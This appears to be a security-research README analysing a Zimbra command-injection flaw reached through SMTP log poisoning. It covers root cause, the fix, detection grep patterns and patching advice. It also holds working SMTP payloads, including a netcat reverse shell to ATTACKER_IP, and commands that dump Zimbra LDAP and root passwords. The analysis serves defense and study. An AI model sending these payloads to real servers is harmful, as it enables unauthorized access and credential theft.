
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Note: This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570. It is not the original vulnerability report.
Zimbra Collaboration Suite RCE — SMTP log poisoning → swatchdog → OS Command Injection (CVSS 8.9, CISA KEV)
Type: OS Command Injection → Unauthenticated RCE
Vector: SMTP log poisoning → swatchdog → dosnmp string-form shell expansion
Vendor/CVE affected range: Zimbra Collaboration Suite < 10.1.20
Prerequisites: zimbra-snmp installed; SNMP notifications enabled
CVSS: 8.9 (High)
CISA KEV: Yes — added to the CISA Known Exploited Vulnerabilities Catalog
Patch: Zimbra 10.1.20 (released 2026-07-20)
Version-range note: The vendor/CVE metadata lists affected versions as Zimbra < 10.1.20. However, the Zimbra 10.1.0 source examined during this research already used the safe list-form
system()call. This suggests that the vulnerable string-form implementation was introduced in an intermediate build and later corrected in 10.1.20, but the exact version where the regression was introduced was not independently verified from repository history.
The vulnerability lives in /opt/zimbra/conf/swatchrc.in, inside the dosnmp function responsible for sending SNMP trap notifications when a Zimbra service changes state.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"$snmptrap $snmpsvctrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}"
);
}
The vulnerable implementation uses the string form of Perl's system(). The resulting command is interpreted by a shell, allowing shell metacharacters and command substitutions such as $(...) contained in $args{SERVICE} to be evaluated.
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
system(
"/opt/zimbra/common/bin/snmptrap",
"-v", "2c",
"-c", "zimbra",
$traphost,
"",
$snmpsvctrap,
$snmpsvcname,
"s",
$args{SERVICE},
$snmpsvcstatus,
"i",
$statuses{$args{STATUS}}
);
}
The core security fix is switching from string-form to list-form system(), preventing shell interpretation of attacker-controlled data.
With the list form, the executable and its arguments are passed separately. Values such as $(cmd) are treated as literal data instead of shell syntax.
Attacker (Kali)
│
│ SMTP RCPT TO with crafted quoted local-part
│ containing the swatchdog pattern + payload
▼
Postfix/smtpd (Zimbra server, port 25)
│
│ Accepts the RCPT TO
│ Logs it to /var/log/zimbra.log
▼
swatchdog (running as zimbra)
│
│ Pattern:
│ /: Service status change: (\S+) (.*) changed from stopped to running/
│
│ Captures attacker-controlled content
│ and passes it to donotify()
▼
donotify()
│
▼
dosnmp()
│
│ system("$snmptrap ... $args{SERVICE} ...")
▼
/bin/sh
│
│ Expands $(payload)
▼
Command execution as "zimbra"
│
▼
Reverse shell / post-exploitation
The key issue is the complete data flow:
SMTP
→ Postfix
→ /var/log/zimbra.log
→ swatchdog
→ donotify()
→ dosnmp()
→ string-form system()
→ shell interpretation
→ command execution
Postfix accepts the specially crafted quoted local-part and records it in zimbra.log. swatchdog subsequently interprets matching log content as a service-status event, allowing attacker-controlled data to reach the vulnerable system() invocation.
The following commands were tested only in an isolated lab environment.
Connect to the target SMTP service:
nc <target> 25
Send a specially crafted SMTP transaction:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
If exploitation succeeds, /tmp/pwned_rce contains output similar to:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
This confirms command execution in the context of the zimbra user.
Start a listener on the attacker machine:
nc -lvnp 4444
Then deliver the payload through SMTP:
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
QUIT
Successful exploitation results in an interactive shell running as the zimbra user.
Attacker (Kali): 10.0.2.15
Victim (Ubuntu): 10.0.2.22
Hostname: mail.lab.local
VirtualBox NAT Network: 10.0.2.0/24
The Zimbra 10.1.0 source examined during this research already contained the safe list-form system() implementation.
Therefore, the stock 10.1.0 installation used in this lab was not treated as evidence that Zimbra 10.1.0 itself was vulnerable.
To reproduce the vulnerable condition described by CVE-2026-73570, swatchrc.in was manually modified to use the vulnerable string-form system() implementation.
Backup the original configuration:
cp /opt/zimbra/conf/swatchrc.in \
/opt/zimbra/conf/swatchrc.in.bak
The vulnerable behavior can then be reproduced in the isolated lab by applying the string-form implementation shown in the Root Cause section and running swatchdog against the Zimbra log.
Example:
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
This lab modification exists solely to reproduce and analyze the vulnerable data flow. It should not be interpreted as evidence that the unmodified 10.1.0 build was vulnerable.
Successful exploitation provides command execution as the zimbra user.
Confirm the execution context:
id
Example:
uid=998(zimbra) gid=999(zimbra) groups=999(zimbra),5(tty),998(postfix)
Zimbra's local configuration can expose credentials available to the compromised service account.
For example:
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
These credentials may provide access to Zimbra's LDAP directory and demonstrate the post-exploitation impact of obtaining command execution as the zimbra user.
Search Postfix/Zimbra logs for SMTP recipient entries containing the swatchdog service-status pattern:
grep -E 'to=<".*Service status change.*"@' /var/log/zimbra.log
A broader search for command-substitution syntax inside quoted local-parts:
grep -E 'to=<"[^"]*\$\([^"]*\)"@' /var/log/zimbra.log
Matches should be treated as strong indicators of an exploitation attempt and investigated immediately.
Confirmation of successful command execution requires correlated evidence such as:
zimbra;/tmp;Upgrade Zimbra Collaboration Suite to 10.1.20 or later.
The security fix changes the vulnerable dosnmp() invocation from string-form to list-form system(), preventing attacker-controlled values from being interpreted by a shell.
After patching, review historical logs and system activity for evidence of exploitation that may have occurred while the system was vulnerable.
This repository contains an independent technical analysis and PoC reproduction of CVE-2026-73570.
It is not the original vulnerability report, and no claim of original discovery is made.
All testing documented here was performed in an isolated lab environment for educational and authorized security research purposes.
Do not use these techniques against systems you do not own or do not have explicit authorization to test.